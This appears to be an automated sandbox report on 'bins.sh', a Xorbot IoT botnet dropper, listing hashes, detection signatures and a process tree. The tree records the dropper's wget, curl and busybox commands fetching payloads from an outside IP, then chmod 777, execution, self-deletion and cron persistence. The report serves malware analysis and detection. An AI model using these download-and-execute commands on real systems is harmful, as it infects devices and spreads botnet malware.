Analysis

  • max time kernel
    150s
  • max time network
    119s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04/12/2024, 14:41

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    d179667ead2f245ddba283f8e2fb59ef

  • SHA1

    8654aace077f9788caaf8d949452e5dcf73b6312

  • SHA256

    f379ab849a701f49f2fa39b75b82c5bc77dd368697aef31fdec28919506f60f6

  • SHA512

    c019f5fb06c6b1413fe9e3330ac0423f5bd9186353542aad29c195c17192fd3024fbed593cb199abcedc1d9187efda3b928bcf36cd346a3d9bc87d093500ea38

  • SSDEEP

    192:gVWERGiyF9rl3g6j6d0VJLbgFGiyF9rt6d0d:gUEi77xd

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:704
        • /usr/bin/wget
          wget http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Writes file to tmp directory
          PID:706
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/chmod
          chmod 777 olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          ./olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            2⤵
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:735
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            2⤵
            • Writes file to tmp directory
            PID:736
          • /bin/chmod
            chmod 777 4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            2⤵
            • File and Directory Permissions Modification
            PID:737
          • /tmp/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            ./4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:738
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:740
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:741
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:742
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    • Reads runtime system information
                    PID:743
              • /bin/rm
                rm 4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
                2⤵
                  PID:745
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb
                  2⤵
                    PID:748
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb
                    2⤵
                      PID:749

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /var/spool/cron/crontabs/tmp.MpH4iA

                          Filesize

                          210B

                          MD5

                          d0fcbbcf1e90d9d65225eba3844c3d64

                          SHA1

                          4e48865573e8a1f5c5ad9f98aecba5e48b85d31f

                          SHA256

                          23f6b6780093f3ce20aef653ed7c0c37306c8ed4dfb28cf7f432f5c31ebc41b0

                          SHA512

                          79ade737ce1af320ef923eee39e428be201b21d85d9605174ff8a6bceb31737373e16c1484f002f0ad464fc91e46f5750834a2f9bfdc7c5c68a0d1183234db11